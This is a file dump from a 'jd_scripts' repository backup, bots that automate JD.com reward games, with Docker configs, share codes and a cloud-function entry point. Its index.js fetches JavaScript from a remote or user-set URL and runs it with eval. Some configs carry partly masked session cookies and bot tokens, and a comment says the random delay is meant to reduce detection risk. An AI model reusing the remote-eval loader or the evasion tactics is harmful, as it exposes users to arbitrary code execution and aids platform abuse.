50 | else
51 | echo "启动crontab定时任务主进程..."
52 | crond -f
53 | fi
54 |
55 | else
56 | echo "默认定时任务执行结束。"
57 | fi
58 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/docker/example/custom-append.yml:
--------------------------------------------------------------------------------
1 | jd_scripts:
2 | image: lxk0301/jd_scripts
3 | # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%)
4 | # 经过实际测试,建议不低于200M
5 | # deploy:
6 | # resources:
7 | # limits:
8 | # cpus: '0.2'
9 | # memory: 200M
10 | container_name: jd_scripts
11 | restart: always
12 | volumes:
13 | - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh
14 | - ./logs:/scripts/logs
15 | tty: true
16 | # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts
17 | extra_hosts:
18 | - "gitee.com:180.97.125.228"
19 | - "github.com:13.229.188.59"
20 | - "raw.githubusercontent.com:151.101.228.133"
21 | environment:
22 | #脚本更新仓库地址,配置了会切换到对应的地址
23 | - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git
24 | # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除
25 | #jd cookies
26 | # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX;
27 | # 例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;
28 | - JD_COOKIE=
29 | #微信server酱通知
30 | - PUSH_KEY=
31 | #Bark App通知
32 | - BARK_PUSH=
33 | #telegram机器人通知
34 | - TG_BOT_TOKEN=
35 | - TG_USER_ID=
36 | #钉钉机器人通知
37 | - DD_BOT_TOKEN=
38 | - DD_BOT_SECRET=
39 | #企业微信机器人通知
40 | - QYWX_KEY=
41 | #京东种豆得豆
42 | - PLANT_BEAN_SHARECODES=
43 | #京东农场
44 | # 例: FRUITSHARECODES=京东农场的互助码
45 | - FRUITSHARECODES=
46 | #京东萌宠
47 | # 例: PETSHARECODES=东东萌宠的互助码
48 | - PETSHARECODES=
49 | # 宠汪汪的喂食数量
50 | - JOY_FEED_COUNT=
51 | #东东超市
52 | # - SUPERMARKET_SHARECODES=
53 | #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字)
54 | # 例: MARKET_COIN_TO_BEANS=1000
55 | - MARKET_COIN_TO_BEANS=
56 | #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。
57 | #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1)
58 | #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。
59 | - RANDOM_DELAY_MAX=120
60 | #使用自定义定任务追加默认任务之后,上面volumes挂载之后这里配置对应的文件名
61 | - CUSTOM_LIST_FILE=my_crontab_list.sh
62 |
63 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/docker/example/custom-overwrite.yml:
--------------------------------------------------------------------------------
1 | jd_scripts:
2 | image: lxk0301/jd_scripts
3 | # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%)
4 | # 经过实际测试,建议不低于200M
5 | # deploy:
6 | # resources:
7 | # limits:
8 | # cpus: '0.2'
9 | # memory: 200M
10 | container_name: jd_scripts
11 | restart: always
12 | volumes:
13 | - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh
14 | - ./logs:/scripts/logs
15 | tty: true
16 | # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts
17 | extra_hosts:
18 | - "gitee.com:180.97.125.228"
19 | - "github.com:13.229.188.59"
20 | - "raw.githubusercontent.com:151.101.228.133"
21 | environment:
22 | #脚本更新仓库地址,配置了会切换到对应的地址
23 | - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git
24 | # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除
25 | #jd cookies
26 | # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX;
27 | #例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;
28 | - JD_COOKIE=
29 | #微信server酱通知
30 | - PUSH_KEY=
31 | #Bark App通知
32 | - BARK_PUSH=
33 | #telegram机器人通知
34 | - TG_BOT_TOKEN=
35 | - TG_USER_ID=
36 | #钉钉机器人通知
37 | - DD_BOT_TOKEN=
38 | - DD_BOT_SECRET=
39 | #企业微信机器人通知
40 | - QYWX_KEY=
41 | #京东种豆得豆
42 | - PLANT_BEAN_SHARECODES=
43 | #京东农场
44 | # 例: FRUITSHARECODES=京东农场的互助码
45 | - FRUITSHARECODES=
46 | #京东萌宠
47 | # 例: PETSHARECODES=东东萌宠的互助码
48 | - PETSHARECODES=
49 | # 宠汪汪的喂食数量
50 | - JOY_FEED_COUNT=
51 | #东东超市
52 | # - SUPERMARKET_SHARECODES=
53 | #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字)
54 | # 例: MARKET_COIN_TO_BEANS=1000
55 | - MARKET_COIN_TO_BEANS=
56 | #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。
57 | #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1)
58 | #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。
59 | - RANDOM_DELAY_MAX=120
60 | #使用自定义定任务覆盖默认任务,上面volumes挂载之后这里配置对应的文件名,和自定义文件使用方式为overwrite
61 | - CUSTOM_LIST_FILE=my_crontab_list.sh
62 | - CUSTOM_LIST_MERGE_TYPE=overwrite
63 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/docker/example/default.yml:
--------------------------------------------------------------------------------
1 | jd_scripts:
2 | image: lxk0301/jd_scripts
3 | # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%)
4 | # 经过实际测试,建议不低于200M
5 | # deploy:
6 | # resources:
7 | # limits:
8 | # cpus: '0.2'
9 | # memory: 200M
10 | container_name: jd_scripts
11 | restart: always
12 | volumes:
13 | - ./logs:/scripts/logs
14 | tty: true
15 | # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts
16 | extra_hosts:
17 | - "gitee.com:180.97.125.228"
18 | - "github.com:13.229.188.59"
19 | - "raw.githubusercontent.com:151.101.228.133"
20 | environment:
21 | #脚本更新仓库地址,配置了会切换到对应的地址
22 | - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git
23 | # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除
24 | #jd cookies
25 | # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX;
26 | # 例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;
27 | - JD_COOKIE=
28 | #微信server酱通知
29 | - PUSH_KEY=
30 | #Bark App通知
31 | - BARK_PUSH=
32 | #telegram机器人通知
33 | - TG_BOT_TOKEN=
34 | - TG_USER_ID=
35 | #钉钉机器人通知
36 | - DD_BOT_TOKEN=
37 | - DD_BOT_SECRET=
38 | #企业微信机器人通知
39 | - QYWX_KEY=
40 | #京东种豆得豆
41 | - PLANT_BEAN_SHARECODES=
42 | #京东农场
43 | # 例: FRUITSHARECODES=京东农场的互助码
44 | - FRUITSHARECODES=
45 | #京东萌宠
46 | # 例: PETSHARECODES=东东萌宠的互助码
47 | - PETSHARECODES=
48 | # 宠汪汪的喂食数量
49 | - JOY_FEED_COUNT=
50 | #东东超市
51 | # - SUPERMARKET_SHARECODES=
52 | #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字)
53 | # 例: MARKET_COIN_TO_BEANS=1000
54 | - MARKET_COIN_TO_BEANS=
55 |
56 | #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。
57 | #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1)
58 | #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。
59 | - RANDOM_DELAY_MAX=120
60 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/docker/example/jd_scripts.custom-append.syno.json:
--------------------------------------------------------------------------------
1 | {
2 | "cap_add" : [],
3 | "cap_drop" : [],
4 | "cmd" : "",
5 | "cpu_priority" : 50,
6 | "devices" : null,
7 | "enable_publish_all_ports" : false,
8 | "enable_restart_policy" : true,
9 | "enabled" : true,
10 | "env_variables" : [
11 | {
12 | "key" : "PATH",
13 | "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
14 | },
15 | {
16 | "key" : "CDN_JD_DAILYBONUS",
17 | "value" : "true"
18 | },
19 | {
20 | "key" : "JD_COOKIE",
21 | "value" : "pt_key=xxx;pt_pin=xxx;"
22 | },
23 | {
24 | "key" : "PUSH_KEY",
25 | "value" : ""
26 | },
27 | {
28 | "key" : "CUSTOM_LIST_FILE",
29 | "value" : "my_crontab_list.sh"
30 | }
31 | ],
32 | "exporting" : false,
33 | "id" : "3a2f6f27c23f93bc104585c22569c760cc9ce82df09cdb41d53b491fe1d0341c",
34 | "image" : "lxk0301/jd_scripts",
35 | "is_ddsm" : false,
36 | "is_package" : false,
37 | "links" : [],
38 | "memory_limit" : 0,
39 | "name" : "jd_scripts",
40 | "network" : [
41 | {
42 | "driver" : "bridge",
43 | "name" : "bridge"
44 | }
45 | ],
46 | "network_mode" : "default",
47 | "port_bindings" : [],
48 | "privileged" : false,
49 | "shortcut" : {
50 | "enable_shortcut" : false
51 | },
52 | "use_host_network" : false,
53 | "volume_bindings" : [
54 | {
55 | "host_volume_file" : "/docker/jd_scripts/my_crontab_list.sh",
56 | "mount_point" : "/scripts/docker/my_crontab_list.sh",
57 | "type" : "rw"
58 | },
59 | {
60 | "host_volume_file" : "/docker/jd_scripts/logs",
61 | "mount_point" : "/scripts/logs",
62 | "type" : "rw"
63 | }
64 | ]
65 | }
66 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/docker/example/jd_scripts.custom-overwrite.syno.json:
--------------------------------------------------------------------------------
1 | {
2 | "cap_add" : [],
3 | "cap_drop" : [],
4 | "cmd" : "",
5 | "cpu_priority" : 50,
6 | "devices" : null,
7 | "enable_publish_all_ports" : false,
8 | "enable_restart_policy" : true,
9 | "enabled" : true,
10 | "env_variables" : [
11 | {
12 | "key" : "PATH",
13 | "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
14 | },
15 | {
16 | "key" : "CDN_JD_DAILYBONUS",
17 | "value" : "true"
18 | },
19 | {
20 | "key" : "JD_COOKIE",
21 | "value" : "pt_key=xxx;pt_pin=xxx;"
22 | },
23 | {
24 | "key" : "PUSH_KEY",
25 | "value" : ""
26 | },
27 | {
28 | "key" : "CUSTOM_LIST_FILE",
29 | "value" : "my_crontab_list.sh"
30 | },
31 | {
32 | "key" : "CUSTOM_LIST_MERGE_TYPE",
33 | "value" : "overwrite"
34 | }
35 | ],
36 | "exporting" : false,
37 | "id" : "3a2f6f27c23f93bc104585c22569c760cc9ce82df09cdb41d53b491fe1d0341c",
38 | "image" : "lxk0301/jd_scripts",
39 | "is_ddsm" : false,
40 | "is_package" : false,
41 | "links" : [],
42 | "memory_limit" : 0,
43 | "name" : "jd_scripts",
44 | "network" : [
45 | {
46 | "driver" : "bridge",
47 | "name" : "bridge"
48 | }
49 | ],
50 | "network_mode" : "default",
51 | "port_bindings" : [],
52 | "privileged" : false,
53 | "shortcut" : {
54 | "enable_shortcut" : false
55 | },
56 | "use_host_network" : false,
57 | "volume_bindings" : [
58 | {
59 | "host_volume_file" : "/docker/jd_scripts/my_crontab_list.sh",
60 | "mount_point" : "/scripts/docker/my_crontab_list.sh",
61 | "type" : "rw"
62 | },
63 | {
64 | "host_volume_file" : "/docker/jd_scripts/logs",
65 | "mount_point" : "/scripts/logs",
66 | "type" : "rw"
67 | }
68 | ]
69 | }
70 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/docker/example/jd_scripts.syno.json:
--------------------------------------------------------------------------------
1 | {
2 | "cap_add" : null,
3 | "cap_drop" : null,
4 | "cmd" : "",
5 | "cpu_priority" : 0,
6 | "devices" : null,
7 | "enable_publish_all_ports" : false,
8 | "enable_restart_policy" : true,
9 | "enabled" : false,
10 | "env_variables" : [
11 | {
12 | "key" : "PATH",
13 | "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
14 | },
15 | {
16 | "key" : "CDN_JD_DAILYBONUS",
17 | "value" : "true"
18 | },
19 | {
20 | "key" : "JD_COOKIE",
21 | "value" : "pt_key=AAJfjaNrADASxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxx5;"
22 | },
23 | {
24 | "key" : "TG_BOT_TOKEN",
25 | "value" : "13xxxxxx80:AAEkNxxxxxxzNf91WQ"
26 | },
27 | {
28 | "key" : "TG_USER_ID",
29 | "value" : "12xxxx206"
30 | },
31 | {
32 | "key" : "PLANT_BEAN_SHARECODES",
33 | "value" : ""
34 | },
35 | {
36 | "key" : "FRUITSHARECODES",
37 | "value" : ""
38 | },
39 | {
40 | "key" : "PETSHARECODES",
41 | "value" : ""
42 | },
43 | {
44 | "key" : "SUPERMARKET_SHARECODES",
45 | "value" : ""
46 | },
47 | {
48 | "key" : "CRONTAB_LIST_FILE",
49 | "value" : "crontab_list.sh"
50 | }
51 | ],
52 | "exporting" : false,
53 | "id" : "18af38bc0ac37a40e4b9608a86fef56c464577cc160bbdddec90155284fcf4e5",
54 | "image" : "lxk0301/jd_scripts",
55 | "is_ddsm" : false,
56 | "is_package" : false,
57 | "links" : [],
58 | "memory_limit" : 0,
59 | "name" : "jd_scripts",
60 | "network" : [
61 | {
62 | "driver" : "bridge",
63 | "name" : "bridge"
64 | }
65 | ],
66 | "network_mode" : "default",
67 | "port_bindings" : [],
68 | "privileged" : false,
69 | "shortcut" : {
70 | "enable_shortcut" : false,
71 | "enable_status_page" : false,
72 | "enable_web_page" : false,
73 | "web_page_url" : ""
74 | },
75 | "use_host_network" : false,
76 | "volume_bindings" : [
77 | {
78 | "host_volume_file" : "/docker/jd_scripts/logs",
79 | "mount_point" : "/scripts/logs",
80 | "type" : "rw"
81 | }
82 | ]
83 | }
84 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/docker/example/multi.yml:
--------------------------------------------------------------------------------
1 | version: "3"
2 | services:
3 | jd_scripts1: #默认
4 | image: lxk0301/jd_scripts
5 | # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过 0.2(单核的20%)
6 | # 经过实际测试,建议不低于200M
7 | # deploy:
8 | # resources:
9 | # limits:
10 | # cpus: '0.2'
11 | # memory: 200M
12 | restart: always
13 | container_name: jd_scripts1
14 | tty: true
15 | volumes:
16 | - ./logs1:/scripts/logs
17 | environment:
18 | - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5;
19 | - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ
20 | - TG_USER_ID=12xxxx206
21 | # 互助助码等参数可自行增加,如下。
22 | # 京东种豆得豆
23 | # - PLANT_BEAN_SHARECODES=
24 |
25 | jd_scripts2: #默认
26 | image: lxk0301/jd_scripts
27 | restart: always
28 | container_name: jd_scripts2
29 | tty: true
30 | volumes:
31 | - ./logs2:/scripts/logs
32 | environment:
33 | - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5;
34 | - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ
35 | - TG_USER_ID=12xxxx206
36 | jd_scripts4: #自定义追加默认之后
37 | image: lxk0301/jd_scripts
38 | restart: always
39 | container_name: jd_scripts4
40 | tty: true
41 | volumes:
42 | - ./logs4:/scripts/logs
43 | - ./my_crontab_list4.sh:/scripts/docker/my_crontab_list.sh
44 | environment:
45 | - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5;
46 | - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ
47 | - TG_USER_ID=12xxxx206
48 | - CUSTOM_LIST_FILE=my_crontab_list.sh
49 | jd_scripts5: #自定义覆盖默认
50 | image: lxk0301/jd_scripts
51 | restart: always
52 | container_name: jd_scripts5
53 | tty: true
54 | volumes:
55 | - ./logs5:/scripts/logs
56 | - ./my_crontab_list5.sh:/scripts/docker/my_crontab_list.sh
57 | environment:
58 | - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5;
59 | - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ
60 | - TG_USER_ID=12xxxx206
61 | - CUSTOM_LIST_FILE=my_crontab_list.sh
62 | - CUSTOM_LIST_MERGE_TYPE=overwrite
63 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/docker/notify_docker_user.js:
--------------------------------------------------------------------------------
1 | const notify = require('../sendNotify');
2 | const fs = require('fs');
3 | const notifyPath = '/scripts/logs/notify.txt';
4 | async function image_update_notify() {
5 | if (fs.existsSync(notifyPath)) {
6 | const content = await fs.readFileSync(`${notifyPath}`, 'utf8');//读取notify.txt内容
7 | if (process.env.NOTIFY_CONTENT && !content.includes(process.env.NOTIFY_CONTENT)) {
8 | await notify.sendNotify("⚠️Docker镜像版本更新通知⚠️", process.env.NOTIFY_CONTENT);
9 | await fs.writeFileSync(`${notifyPath}`, process.env.NOTIFY_CONTENT);
10 | }
11 | } else {
12 | if (process.env.NOTIFY_CONTENT) {
13 | notify.sendNotify("⚠️Docker镜像版本更新通知⚠️", process.env.NOTIFY_CONTENT)
14 | await fs.writeFileSync(`${notifyPath}`, process.env.NOTIFY_CONTENT);
15 | }
16 | }
17 | }
18 | !(async() => {
19 | await image_update_notify();
20 | })().catch((e) => console.log(e))
--------------------------------------------------------------------------------
/Backup/jd_scripts/docker/proc_file.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | if [[ -f /usr/bin/jd_bot && -z "$DISABLE_SPNODE" ]]; then
4 | CMD="spnode"
5 | else
6 | CMD="node"
7 | fi
8 |
9 | echo "处理jd_crazy_joy_coin任务。。。"
10 | if [ ! $CRZAY_JOY_COIN_ENABLE ]; then
11 | echo "默认启用jd_crazy_joy_coin杀掉jd_crazy_joy_coin任务,并重启"
12 | eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}')
13 | echo '' >/scripts/logs/jd_crazy_joy_coin.log
14 | $CMD /scripts/jd_crazy_joy_coin.js | ts >>/scripts/logs/jd_crazy_joy_coin.log 2>&1 &
15 | echo "默认jd_crazy_joy_coin重启完成"
16 | else
17 | if [ $CRZAY_JOY_COIN_ENABLE = "Y" ]; then
18 | echo "配置启用jd_crazy_joy_coin,杀掉jd_crazy_joy_coin任务,并重启"
19 | eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}')
20 | echo '' >/scripts/logs/jd_crazy_joy_coin.log
21 | $CMD /scripts/jd_crazy_joy_coin.js | ts >>/scripts/logs/jd_crazy_joy_coin.log 2>&1 &
22 | echo "配置jd_crazy_joy_coin重启完成"
23 | else
24 | eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}')
25 | echo "已配置不启用jd_crazy_joy_coin任务,仅杀掉"
26 | fi
27 | fi
28 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/index.js:
--------------------------------------------------------------------------------
1 | //'use strict';
2 | exports.main_handler = async (event, context, callback) => {
3 | try {
4 | const { TENCENTSCF_SOURCE_TYPE, TENCENTSCF_SOURCE_URL } = process.env
5 | //如果想在一个定时触发器里面执行多个js文件需要在定时触发器的【附加信息】里面填写对应的名称,用 & 链接
6 | //例如我想一个定时触发器里执行jd_speed.js和jd_bean_change.js,在定时触发器的【附加信息】里面就填写 jd_speed&jd_bean_change
7 | for (const v of event["Message"].split("&")) {
8 | console.log(v);
9 | var request = require('request');
10 | switch (TENCENTSCF_SOURCE_TYPE) {
11 | case 'local':
12 | //1.执行自己上传的js文件
13 | delete require.cache[require.resolve('./'+v+'.js')];
14 | require('./'+v+'.js')
15 | break;
16 | case 'git':
17 | //2.执行github远端的js文件(因github的raw类型的文件被墙,此方法云函数不推荐)
18 | request(`https://raw.githubusercontent.com/xxx/jd_scripts/master/${v}.js`, function (error, response, body) {
19 | eval(response.body)
20 | })
21 | break;
22 | case 'custom':
23 | //3.执行自定义远端js文件网址
24 | if (!TENCENTSCF_SOURCE_URL) return console.log('自定义模式需要设置TENCENTSCF_SOURCE_URL变量')
25 | request(`${TENCENTSCF_SOURCE_URL}${v}.js`, function (error, response, body) {
26 | eval(response.body)
27 | })
28 | break;
29 | default:
30 | //4.执行国内gitee远端的js文件(如果部署在国内节点,选择1或3。默认使用gitee的方式)
31 | request(`${v}.js`, function (error, response, body) {
32 | eval(response.body)
33 | })
34 | break;
35 | }
36 | }
37 | } catch (e) {
38 | console.error(e)
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/jdDreamFactoryShareCodes.js:
--------------------------------------------------------------------------------
1 | /*
2 | 京喜工厂互助码
3 | 此文件为Node.js专用。其他用户请忽略
4 | 支持京东N个账号
5 | */
6 | //云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。
7 | // 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例
8 | // 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2
9 | let shareCodes = [
10 | 'V5LkjP4WRyjeCKR9VRwcRX0bBuTz7MEK0-E99EJ7u0k=@Bo-jnVs_m9uBvbRzraXcSA==@-OvElMzqeyeGBWazWYjI1Q==',//账号一的好友shareCode,不同好友中间用@符号隔开
11 | '-OvElMzqeyeGBWazWYjI1Q==',//账号二的好友shareCode,不同好友中间用@符号隔开
12 | ]
13 |
14 | // 从日志获取互助码
15 | // const logShareCodes = require('./utils/jdShareCodes');
16 | // if (logShareCodes.DREAM_FACTORY_SHARE_CODES.length > 0 && !process.env.DREAM_FACTORY_SHARE_CODES) {
17 | // process.env.DREAM_FACTORY_SHARE_CODES = logShareCodes.DREAM_FACTORY_SHARE_CODES.join('&');
18 | // }
19 |
20 | // 判断环境变量里面是否有京喜工厂互助码
21 | if (process.env.DREAM_FACTORY_SHARE_CODES) {
22 | if (process.env.DREAM_FACTORY_SHARE_CODES.indexOf('&') > -1) {
23 | console.log(`您的互助码选择的是用&隔开\n`)
24 | shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split('&');
25 | } else if (process.env.DREAM_FACTORY_SHARE_CODES.indexOf('\n') > -1) {
26 | console.log(`您的互助码选择的是用换行隔开\n`)
27 | shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split('\n');
28 | } else {
29 | shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split();
30 | }
31 | } else {
32 | console.log(`由于您环境变量(DREAM_FACTORY_SHARE_CODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`)
33 | }
34 | for (let i = 0; i < shareCodes.length; i++) {
35 | const index = (i + 1 === 1) ? '' : (i + 1);
36 | exports['shareCodes' + index] = shareCodes[i];
37 | }
38 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/jdFactoryShareCodes.js:
--------------------------------------------------------------------------------
1 | /*
2 | 东东工厂互助码
3 | 此文件为Node.js专用。其他用户请忽略
4 | 支持京东N个账号
5 | */
6 | //云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。
7 | // 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例
8 | // 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2
9 | let shareCodes = [
10 | '',//账号一的好友shareCode,不同好友中间用@符号隔开
11 | '',//账号二的好友shareCode,不同好友中间用@符号隔开
12 | ]
13 |
14 | // 从日志获取互助码
15 | // const logShareCodes = require('./utils/jdShareCodes');
16 | // if (logShareCodes.DDFACTORY_SHARECODES.length > 0 && !process.env.DDFACTORY_SHARECODES) {
17 | // process.env.DDFACTORY_SHARECODES = logShareCodes.DDFACTORY_SHARECODES.join('&');
18 | // }
19 |
20 | // 判断环境变量里面是否有东东工厂互助码
21 | if (process.env.DDFACTORY_SHARECODES) {
22 | if (process.env.DDFACTORY_SHARECODES.indexOf('&') > -1) {
23 | console.log(`您的互助码选择的是用&隔开\n`)
24 | shareCodes = process.env.DDFACTORY_SHARECODES.split('&');
25 | } else if (process.env.DDFACTORY_SHARECODES.indexOf('\n') > -1) {
26 | console.log(`您的互助码选择的是用换行隔开\n`)
27 | shareCodes = process.env.DDFACTORY_SHARECODES.split('\n');
28 | } else {
29 | shareCodes = process.env.DDFACTORY_SHARECODES.split();
30 | }
31 | } else {
32 | console.log(`由于您环境变量(DDFACTORY_SHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`)
33 | }
34 | for (let i = 0; i < shareCodes.length; i++) {
35 | const index = (i + 1 === 1) ? '' : (i + 1);
36 | exports['shareCodes' + index] = shareCodes[i];
37 | }
--------------------------------------------------------------------------------
/Backup/jd_scripts/jdFruitShareCodes.js:
--------------------------------------------------------------------------------
1 | /*
2 | 东东农场互助码
3 | 此文件为Node.js专用。其他用户请忽略
4 | 支持京东N个账号
5 | */
6 | //云服务器腾讯云函数等NOde.js用户在此处填写京东东农场的好友码。
7 | // 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例
8 | // 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2
9 | let FruitShareCodes = [
10 | '0a74407df5df4fa99672a037eec61f7e@dbb21614667246fabcfd9685b6f448f3@6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6@56db8e7bc5874668ba7d5195230d067a',//账号一的好友shareCode,不同好友中间用@符号隔开
11 | '6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6@9c52670d52ad4e1a812f894563c746ea@8175509d82504e96828afc8b1bbb9cb3',//账号二的好友shareCode,不同好友中间用@符号隔开
12 | ]
13 |
14 | // 从日志获取互助码
15 | // const logShareCodes = require('./utils/jdShareCodes');
16 | // if (logShareCodes.FRUITSHARECODES.length > 0 && !process.env.FRUITSHARECODES) {
17 | // process.env.FRUITSHARECODES = logShareCodes.FRUITSHARECODES.join('&');
18 | // }
19 |
20 | // 判断github action里面是否有东东农场互助码
21 | if (process.env.FRUITSHARECODES) {
22 | if (process.env.FRUITSHARECODES.indexOf('&') > -1) {
23 | console.log(`您的东东农场互助码选择的是用&隔开\n`)
24 | FruitShareCodes = process.env.FRUITSHARECODES.split('&');
25 | } else if (process.env.FRUITSHARECODES.indexOf('\n') > -1) {
26 | console.log(`您的东东农场互助码选择的是用换行隔开\n`)
27 | FruitShareCodes = process.env.FRUITSHARECODES.split('\n');
28 | } else {
29 | FruitShareCodes = process.env.FRUITSHARECODES.split();
30 | }
31 | } else {
32 | console.log(`由于您环境变量(FRUITSHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`)
33 | }
34 | for (let i = 0; i < FruitShareCodes.length; i++) {
35 | const index = (i + 1 === 1) ? '' : (i + 1);
36 | exports['FruitShareCode' + index] = FruitShareCodes[i];
37 | }
38 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/jdJxncShareCodes.js:
--------------------------------------------------------------------------------
1 | /*
2 | 京喜农场助力码
3 | 此助力码要求种子 active 相同才能助力,多个账号的话可以种植同样的种子,如果种子不同的话,会自动跳过使用云端助力
4 | 此文件为Node.js专用。其他用户请忽略
5 | 支持京东N个账号
6 | */
7 | //云服务器腾讯云函数等NOde.js用户在此处填写京京喜农场的好友码。
8 | // 同一个京东账号的好友助力码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例
9 | // 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2
10 | // 注意:京喜农场 种植种子发生变化的时候,互助码也会变!!
11 | // 注意:京喜农场 种植种子发生变化的时候,互助码也会变!!
12 | // 注意:京喜农场 种植种子发生变化的时候,互助码也会变!!
13 | // 每个账号 shareCdoe 是一个 json,示例如下
14 | // {"smp":"22bdadsfaadsfadse8a","active":"jdnc_1_btorange210113_2","joinnum":"1"}
15 | let JxncShareCodes = [
16 | '',//账号一的好友shareCode,不同好友中间用@符号隔开
17 | '',//账号二的好友shareCode,不同好友中间用@符号隔开
18 | ]
19 | // 判断github action里面是否有京喜农场助力码
